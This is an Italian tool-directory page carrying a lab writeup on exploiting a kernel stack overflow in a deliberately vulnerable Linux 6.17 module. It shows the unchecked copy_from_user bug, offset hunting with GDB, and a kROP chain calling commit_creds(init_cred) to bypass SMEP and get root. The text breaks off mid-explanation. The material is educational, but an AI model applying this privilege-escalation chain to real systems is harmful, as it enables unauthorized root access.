Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
kernel-krop-smep-bypass — Linux Kernel 6.17 Stack Overflow - Bypass di SMEP tramite kROP (Writeup in turco) | Kitploit
Strumenti/GitHubGitHub/exploitbey/kernel-krop-smep-bypass
Escalation di PrivilegiMemory ForensicsExploitReverse EngineeringShellcodeDebuggerPaper e RicercaApprendimento e FormazioneSviluppo Payload
Condividi
Binary Exploitation
GitHubexploitbey/kernel-krop-smep-bypass

kernel-krop-smep-bypass

Linux Kernel 6.17 Stack Overflow - Bypass di SMEP tramite kROP (Writeup in turco)

Vedi Repository
3h 20m faNon ancora revisionato

Linux Kernel 6.17 — Bypass di SMEP tramite Stack Overflow: la tecnica kROP

Autore: expo
Repo: https://github.com/exploitbey/kernel-krop-smep-bypass

In questo writeup viene analizzato come sfruttare una vulnerabilità di kernel stack overflow su Linux kernel 6.17.0-5-generic con SMEP e SMAP attivi. Il classico metodo ret2user risulta inefficace contro questa protezione. In alternativa viene utilizzata una catena Kernel ROP (kROP).

Le altre protezioni (KASLR, KPTI, shadow stack, stack canary) sono state disabilitate in questo ambiente; il punto focale è esclusivamente la tecnica di bypass di SMEP.


Conosciamo prima la protezione: cos'è SMEP?

SMEP (Supervisor Mode Execution Prevention) è una protezione a livello di processore. Il kernel non può eseguire codice presente nelle pagine di memoria appartenenti allo spazio utente. In altre parole, quando scrivete uno shellcode nel buffer utente e reindirizzate il kernel verso di esso, la CPU vi interrompe immediatamente.

Questo è il motivo per cui il classico ret2user muore.

Potete verificare da GDB che SMEP e SMAP siano attivi:

info register cr4

Se il valore è 0x372ef0, convertitelo in binario ed esaminate i bit:

0x372ef0 → 0011 0111 0010 1110 1111 0000

Da destra a sinistra, partendo dall'indice 0:

Gruppo di bitIntervalloSignificato
00000–3—
11114–7Bit 5=PAE, Bit 7=PGE
11108–11Bit 9=OSFXSR, Bit 10=OSXMMEXCPT
001012–15Bit 13=VMXE
011116–19Bit 16=FSGSBASE, Bit 17=PCIDE, Bit 18=OSXSAVE
001120–23Bit 20=SMEP ✓, Bit 21=SMAP ✓

Bit 20 impostato → SMEP attivo. La CPU blocca l'esecuzione di codice nelle pagine Ring 3 da Ring 0.

Una nota: a partire dal kernel 5.16 il registro CR4 è stato "bloccato". In passato era possibile cancellare il bit SMEP con gadget del tipo mov cr4, rax. Ora quella porta è chiusa. Ma questo non è importante perché non toccheremo mai CR4.


Ambiente di laboratorio

  • Host: Kali Linux 2025.4
  • Guest: Lubuntu 25.10, kernel 6.17.0-5-generic (su QEMU)

vmlinuz deve essere copiato dal guest all'host. Dopo averlo copiato, convertitelo in vmlinux_raw:

./extract-vmlinux vmlinuz > vmlinux_raw

Script: https://raw.githubusercontent.com/torvalds/linux/master/scripts/extract-vmlinux

Requisiti

  1. Il kernel deve essere esattamente 6.17.0-5-generic (con una versione minor diversa il binario cambia e gli indirizzi dei gadget non corrispondono)
  2. SMEP e SMAP devono essere attivi
  3. KASLR, KPTI, shadow stack e stack canary devono essere disabilitati

La riga GRUB nel guest:

GRUB_CMDLINE_LINUX_DEFAULT="nokaslr nopti ima_appraise=off ima_policy=tcb shstk=off"

Comando di avvio di QEMU:

qemu-system-x86_64 \
  -m 4G \
  -enable-kvm \
  -cpu host \
  -drive file=lubuntu25.10-disk.qcow2,format=qcow2 \
  -vga qxl \
  -device virtio-serial-pci \
  -device virtserialport,chardev=spicechannel0,name=com.redhat.spice.0 \
  -chardev spicevmc,id=spicechannel0,name=vdagent \
  -display spice-app \
  -net nic -net user \
  -usb -usbdevice tablet \
  -vga virtio \
  -s -S

Avviare GDB sull'host durante il boot del sistema:

gdb ./vmlinux_raw
# ardından: continue

LKM vulnerabile

Origine: rop.c

__attribute__((optimize(0)))
static ssize_t device_write(struct file *file, const char __user *buf,
                            size_t count, loff_t *ppos) {
    char tampon[64];
    // ZAFIYET: count kontrolsüz — 64+ byte gelince stack overflow
    if (_copy_from_user(tampon, buf, count)) {
        return -EFAULT;
    }
    return count;
}

Il buffer è fisso a 64 byte. _copy_from_user non verifica mai quanti byte copiare. È sufficiente inviare anche solo 65 byte dallo spazio utente; lo stack del kernel inizia a corrompersi.

Punto di ingresso dell'exploit: /dev/vuln_device

Compilazione e caricamento

sudo su
make          # stack canary kapalı (Makefile'da -fno-stack-protector)
insmod rop.ko

Poi copiare rop.ko sull'host (sono necessarie le informazioni sui simboli per GDB).


Stack Frame

Convenzione di chiamata x64: il primo argomento è RDI, il secondo RSI, il terzo RDX, il quarto RCX.

Quando viene chiamato device_write, l'indirizzo di ritorno si trova sullo stack del kernel nella posizione rbp+8. Il nostro obiettivo è prendere il controllo di questo indirizzo.


Sfruttamento

Passo 1: Individuazione dell'Offset

L'LKM è stato compilato con i simboli di debug, quindi lo seguiremo correttamente con GDB.

Nel guest, esaminate gli indirizzi dei moduli:

cat /proc/modules | grep rop
# rop 12288 0 - Live 0xffffffffc092f000 (OE)

cat /sys/module/rop/sections/.text   # 0xffffffffc092f000
cat /sys/module/rop/sections/.data   # 0xffffffffc0a15020
cat /sys/module/rop/sections/.bss    # 0xffffffffc0a15640

Premere Ctrl+C sul GDB sull'host, caricare i simboli:

add-symbol-file /path/to/rop.ko
0xffffffffc092f000 -s .data 0xffffffffc0a15020 -s .bss 0xffffffffc0a15640

Breakpoint prima e dopo _copy_from_user:

b *0xffffffffc092f059
b *0xffffffffc092f05e
continue

Crea un pattern di 88 byte con Metasploit:

msf-pattern_create -l 88

Salva il pattern come payload.txt, invialo con find_offset:

gcc -o find_offset find_offset.c
./find_offset payload.txt

Si fermerà al breakpoint del kernel. In GDB, annotare il contenuto di rbp+8. Al secondo breakpoint vedrete che rbp+8 è riempito con il pattern.

Calcolate l'offset sull'host:

msf-pattern_offset -q 6341356341346341 -l 88
# [*] Exact match at offset 72

L'indirizzo di ritorno viene scritto a partire dal byte 72.


Passo 2: Payload ROP

Perché ROP riesce a bypassare SMEP? Perché ROP utilizza codice già esistente nella regione .text del kernel stesso. Non esegue nuovo codice. Non tocca affatto la memoria utente. SMEP non può vederlo.

Salvataggio dello stato

Salva i registri dello spazio utente prima di iretq:

__asm__ volatile (
    ".intel_syntax noprefix;"
    "mov user_cs,     cs;"
    "mov user_ss,     ss;"
    "mov user_sp,     rsp;"
    "pushf;"
    "pop user_rflags;"
    ".att_syntax;"
    ::: "memory"
);

"memory" critica clobber: se GCC memorizza nella cache questi valori, il frame iretq risulterà corrotto.

Catena di gadget

payload[i++] = POP_RDI_RET;    // pop rdi ; ret
payload[i++] = INIT_CRED;      // → rdi = &init_cred (root kimlik bilgisi)
payload[i++] = COMMIT_CREDS;   // commit_creds(init_cred) → process root oldu
payload[i++] = SWAPGS_RESTORE; // swapgs → iretq'ya yönlendir

Perché manca prepare_kernel_cred? Nel kernel 6.17 non è stato trovato un gadget di trasferimento di registro pulito come mov rdi, rax ; ret. init_cred è già un indirizzo statico, pop rdi; ret è sufficiente. Anche il payload rimane piccolo: 144 byte.

Indirizzi dei gadget:

commit_creds e init_cred:

cat /proc/kallsyms | grep commit_creds
# ffffffff8145b390 T commit_creds

cat /proc/kallsyms | grep init_cred
# ffffffff8388b860 T init_cred

pop rdi ; ret → opcode \x5f\xc3

Intervallo .text:

Başlangıç : 0xffffffff81000000
Boyut      : 0x1637970
Bitiş      : 0xffffffff82637970
python3 find_opcode.py vmlinux_raw 5fc3

Il primo risultato 0xffffffff812582bd → verificare in GDB con x/3i 0xffffffff812582bd. Array pulito pop rdi; ret.

swapgs + iretq → opcode: 0x0F 0x01 0xF8 e 0x48 0xCF

python3 find_swapgs.py vmlinux_raw

Lo script restituisce due candidati. 0xffffffff81001866 contiene troppi pop, lo stack si corrompe. Esaminare 0xffffffff8100118f:

0xffffffff8100118f: swapgs
0xffffffff81001192: verw WORD PTR [rip+...]   ← ZF'yi etkiler, GPR'ları bozmaz
0xffffffff81001199: test BYTE PTR [rsp+0x8], 0x3
0xffffffff8100119e: jne  0xffffffff81001241

Dove salta:

Scarica lo strumento

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 Il toolkit OSINT definitivo: grafo di indagine, punteggio di affidabilità, famiglie di alias, mappa, timeline e report. 49 moduli, oltre 400 siti, nessuna chiave API richiesta.

    1.1k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # App di esecuzione con un tocco GhostLock (CVE-2026-43499)

    618
  • 3

    looking-glass

    anonghosty/looking-glass

    Piattaforma CSIRT che importa i report di Shadowserver in MongoDB e li riproduce come mappe interattive, analisi, risultati, avvisi e dashboard executive.

    411
  • 4

    ARTEX

    baarai/artex

    Piattaforma di penetration testing autonoma multi-agente basata su LLM con agenti planner/worker, grafi di asset e di esplorazione, registrazione del traffico MITM e retesting delle vulnerabilità.

    328
  • 5

    jumpserver

    jumpserver/jumpserver

    JumpServer è una piattaforma open-source di gestione degli accessi privilegiati (PAM) che fornisce ai team DevOps e IT un accesso sicuro e on-demand a endpoint SSH, RDP, Kubernetes, database e RemoteApp tramite un browser web.

    314
  • 6

    Aliens_eye

    arxhr007/aliens_eye

    Motore OSINT basato sull'IA per scoprire e mappare oltre 7.700 identità sui social media in tutto il web

    275

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →